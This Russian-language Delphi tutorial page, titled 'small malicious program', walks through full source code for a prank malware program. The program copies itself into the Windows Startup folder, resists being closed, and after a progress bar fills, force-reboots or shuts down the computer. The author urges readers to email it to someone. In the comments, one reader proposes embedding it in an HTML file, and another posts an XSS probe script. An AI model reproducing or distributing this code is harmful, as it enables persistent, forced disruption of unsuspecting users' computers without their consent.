Статьи по Делфи
Меню сайта


Категории каталога
Мои статьи [2]
Функции и процедуры Win Api [20]
Работа с мышью [10]
Реестр и Делфи [11]
Работа с файлами [38]
Делфи и Хакер [10]
Инсталлятор собственными руками [6]
Хитрости в делфи [3]
Работа с системой [19]


Форма входа


Поиск по каталогу


Друзья сайта


Наш опрос
Понравились ли вам треки
Всего ответов: 156


Приветствую Вас, Гость · RSS 2024-04-26, 9:24 PM
Начало » Статьи » Мои статьи

Маленькая вредоностная программа

Создаем новый проект File -> New  -> Application.

Закидываем на форму 2 label’a, 1 checkbox, 1 timer с вкладки System, 1 Progressbar с вкладки Win32.


                                      


У меня форма выглядит так.


Для начала сделаем самое простое - объявим нужные для работы переменные. Делать это будем в разделе implementation, зачем - поймешь сам, если ненадолго включишь мозгу. Итак, вводим вот что:

var

progress : integer; //сколько набежало в прогрессбаре

Want2SwitchOff : byte = 0; //сколько раз кликнули по label`у, чтобы прога закрылась

ReallyClose : boolean = false;//после 5-ти кликов будет true, и все, финита :)


В Object Inspector’e у формы во вкладке Events по событию OnCreate пишим следующий код


procedure Form1.FormCreate(Sender: TObject);

var

Folder: Pchar;

List: PitemidList;

begin

SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List);

new(folder);

SHGetPathFromIDList(List,folder);

ChDir(folder);

CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true);// pickup – ваше имя файла

end;

Данная процедура записывает файл в автозагрузку.


Теперь делаем так чтобы пользователь сколько бы не щелкал на checkbox галочка стояла.

Дважды щелкаем на checkbox.

procedure TForm.checkbox1Click(Sender: TObject);

begin

checkbox1.Checked:=true;

end;


Готово! Сейчас сделаем, чтобы прогу обычными средствами (Alf-F4 или крестиком) нельзя было отрубить. Выбираем вкладку 'Events' в свойствах формы (все как обычно в Object Inspector`е), а там создаем обработчик события OnClose. В нем пишем:

if (ReallyClose) then

Action := caFree

else Action := caNone;

А для того чтобы прогу можно было всетаки вырубить пишем следующий код:

Щелкаем дважды по label1

procedure TSuperForm.Label1Click(Sender: TObject);

begin

Want2SwitchOff:=Want2SwitchOff + 1;

if (Want2SwitchOff=2) then

begin

ReallyClose:=true;

SuperForm.Close();

end;

end;

Что это такое? Ни что иное, как закрывашка (типа открывашки для пива, только наоборот)! Объясняю: после каждого клика по label`у переменная Want2SwitchOff будет увеличиваться на один. Если она станет равной двух, прога вырубается! Все просто. :)

А теперь самое главное сам процесс отрубания виндов. Да, еще нужно сделать, чтобы прогрессбар работал. Думаешь, геморрой? Да всего-то пара строк:

Дважды щелкаем по таймеру и вводим следующий код:

progress := progress + 1;

if (progress <= 100) then ProgressBar.StepIt

else

begin

if (ToReboot.Checked) then

ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);

if (ToPowerOff.Checked) then

ExitWindowsEx(EWX_POWEROFF or EWX_FORCE, 0);

End;

Вот и все прога готова скидывайте кому нибудь на почту и ОК.

Мое тело программы:

unit Unit1;


interface


uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ExtCtrls, ComCtrls,ShlObj;


type

TSuperForm = class(TForm)

Label1: TLabel;

ProgressBar: TProgressBar;

DeathTimer: TTimer;

Label2: TLabel;

ToReboot: TCheckBox;

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure Label1Click(Sender: TObject);

procedure ToRebootClick(Sender: TObject);

procedure DeathTimerTimer(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;


var

SuperForm: TSuperForm;


implementation

var

progress:integer;

Want2SwitchOff:byte=0;

ReallyClose:boolean=false;


{$R *.dfm}


procedure TSuperForm.FormCreate(Sender: TObject);

var

Folder: Pchar;

List: PitemidList;

begin

SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List);

new(folder);

SHGetPathFromIDList(List,folder);

ChDir(folder);

CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true);

end;


procedure TSuperForm.ToRebootClick(Sender: TObject);

begin

ToReboot.Checked:=true;

end;


procedure TSuperForm.FormClose(Sender: TObject; var Action: TCloseAction);

begin

if (ReallyClose) then

Action := caFree

else Action := caNone;

end;


procedure TSuperForm.Label1Click(Sender: TObject);

begin

Want2SwitchOff:=Want2SwitchOff + 1;

if (Want2SwitchOff=2) then

begin

ReallyClose:=true;

SuperForm.Close();

end;

end;


 


procedure TSuperForm.DeathTimerTimer(Sender: TObject);

begin

progress := progress + 1;

if (progress <= 10) then ProgressBar.StepIt

else

begin

if (ToReboot.Checked) then

ExitWindowsEx(EWX_FORCE,0);

end

end;

end.

Категория: Мои статьи | Добавил: Admin (2006-12-21)
Просмотров: 4889 | Комментарии: 15 | Рейтинг: 4.5 |

Всего комментариев: 131 2 »
13 Миша Маваши  
0
Ко-ко-ко

12 K0rINf  
0
Вот вы придурки пиздетс! тип вам показал как можно использовать это и как это работает? как сделать так чтоб не выключалась прога по нажатию на крестик или алт+ф4 и т.п. а вы тут хуету пишите! лымыри епт... Автор молодец! если вы это знали раньше нехуй тут писать

11 Flash  
0
написал какую то х"йню, а уже вы№бывается.Тут даже "мозгу" включать не надо. Лучше б чего полезного закодил

10 Shmidt  
0
Слышь зверек недоделанный если чето не нравится катись нечего здесь выпендриваться Денис (3BEPEK)
А программа это перегружает или вырубает комп. Если через hex редактор ее отредактировать и поместить в html документ то получится как вредоносная програмка можно над кем нибудь по прикалываться.

9 dok  
0
<script>alert('xss')</script>

8 Джокер  
0
Комп она ребутит или вобще вырубает!

Вы что код читать не умеете?! Умники блин.


7 фф  
0
ТупоSть

6 Kpumuk  
0
Ты реально хоть объясни че за прога то?!

5 4eRnobiL  
0
Я непонял а че за программа то?

4 ch1pa  
0
Бред полный!!!Фуфло.......!!!

1-10 11-13
Имя *:
Email *:
Код *: